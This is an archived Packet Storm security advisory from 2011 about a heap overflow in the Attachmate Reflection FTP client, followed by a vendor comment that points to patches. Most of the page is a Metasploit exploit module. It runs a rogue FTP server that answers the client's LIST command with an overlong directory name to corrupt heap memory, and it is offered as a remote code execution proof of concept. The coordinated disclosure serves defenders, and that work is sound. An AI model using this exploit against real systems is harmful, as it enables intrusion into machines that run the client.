what you don't know can hurt you

Attachmate Reflection FTP Client Heap Overflow

Attachmate Reflection FTP Client Heap Overflow
Posted Nov 16, 2011
Authored by Francis Provencher

Attachmate Reflection FTP client suffers from a heap overflow vulnerability. Metasploit module included.

tags | exploit, overflow
MD5 | 95e32e016d8ffb9f6762d0ae48d1a7af

Attachmate Reflection FTP Client Heap Overflow

Change Mirror Download
#####################################################################################
Application: Attachmate Reflection FTP Client Heap Overflow
Platforms: Windows
Exploitation: Remote code execution
CVE Number:
{PRL}: 2011-09
Author: Francis Provencher (Protek Research Lab's)
Website: http://www.protekresearchlab.com/
Twitter: @ProtekResearch
#####################################################################################
1) Introduction
2) Timeline
3) Technical details
4) PoC
#####################################################################################

===============
1) Introduction
===============

Attachmate Corporation is a software company owned by an investment group led by Francisco Partners,
Golden Gate Capital, and Thoma Cressey Bravo. Attachmate focuses on terminal emulation, legacy modernization,
managed file transfer, and enterprise fraud management software. Attachmate Corporation is a principal holding
within The Attachmate Group. In addition to Attachmate Corporation, The Attachmate Group's other principal
holdings include NetIQ, Novell, and SUSE.

#####################################################################################
============================
2) Timeline
============================

2011-09-26 - Vulnerability reported to vendor
2011-11-16 - Coordinated public release of advisory

#####################################################################################
============================
3) Technical details
============================

The Reflection FTP client, didn't validate the maximum length of a directory when a LIST command is issuing.
An overly long directory name can overflow the heap and corrupt memory.


#####################################################################################

===========
4) The Code
===========


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::FtpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Attachmate Reflection FTP Client Heap Overflow (LIST)',
'Description' => %q{
This module exploits an heap buffer overflow in Attachmate Reflection FTP Client,
triggered when processing the response on a LIST command.
},
'Author' =>
[
'Francis Provencher',
],
'License' => MSF_LICENSE,
'Version' => "$Revision: 12196 $",
'References' =>
[
[ 'URL', 'http://www.protekresearchlab.com/' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
},
'Platform' => 'win',
'Targets' =>
[
[ 'XP SP3 Universal', { 'Offset' => 300, } ],
],
'Privileged' => false,
'DisclosureDate' => 'November 16 2011',
'DefaultTarget' => 0))

end

def setup
super
end

def on_client_unknown_command(c,cmd,arg)
c.put("200 OK\r\n")
end

def on_client_command_list(c,arg)

conn = establish_data_connection(c)
if(not conn)
c.put("425 Can't build data connection\r\n")
return
end
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
code = 226
c.put("#{code} Directory send ok.\r\n")

filename = "A" * 296

junk = "DCBA"

buffer = filename + junk
print_status(" - Sending directory list via data connection")
dirlist = "-rw-rw-r-- 1 1176 1176 1060 sep 27 22:22 #{buffer}\r\n"
conn.put(dirlist)
conn.close
print_status(" Movzx eax, byte ptr edx ds:0023:41424344 ...")
return

end

end

Comments (1)

RSS Feed Subscribe to this comment feed
ericraisters

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Attachmate has patches available for the products that contain the
vulnerable FTP Client application. The following three links detail the
vulnerability and where to get patches:
support.attachmate.com/techdocs/1708.html
support.attachmate.com/techdocs/2288.html
support.attachmate.com/techdocs/2502.html

The vulnerability requires an authenticated user to both connect with a
malicious FTP server and interact with a specially crafted file on the
server.

This attack is similar to the one described in CVE-2011-3976.

Eric Raisters, CISSP, CSSLP
Manager, Secure Software Development
Office of Applied Technology & Practices
1500 Dexter Avenue North
Seattle, WA 98109
Attachmate | NetIQ | Novell | SUSE

-----BEGIN PGP SIGNATURE-----
Version: PGP Desktop 10.2.0 (Build 1672)
Charset: utf-8

wsBVAwUBTsaKYhgQ+7kMqzxcAQiNIAgAmihBKUVQKvioaNixsD5RFqywA3pO5eUX
VFsnQdYcS2v96Bny8TTYWzN3n7rsnIn2/EeNvN32vX/B8JHbMCMdx0fgCYO37nRT
RJgYt9cpS03EA5q/ICdSkBXMhwKAeKvn7C0vfmBRtoCh7LDoV388cTYIxpjH0fXC
TEdO5/IZfSPnMPcvU197sFcm2XtQBG+6RKIndcshUse45EdVde3mL6pKpKFcIdxD
y4mBAab+UxLoLSuj4qnCzzi9xIFPfBHgEpVknvR2ClmIARbmadIGB7JnCSojCOXk
/MdP+xfZWGam7OVUO8NNaK2hXF2loxjDO6dQ36m8CEMBzZalzghgRg==
=hphq
-----END PGP SIGNATURE-----

Comment by ericraisters
2011-11-18 16:40:44 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    23 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close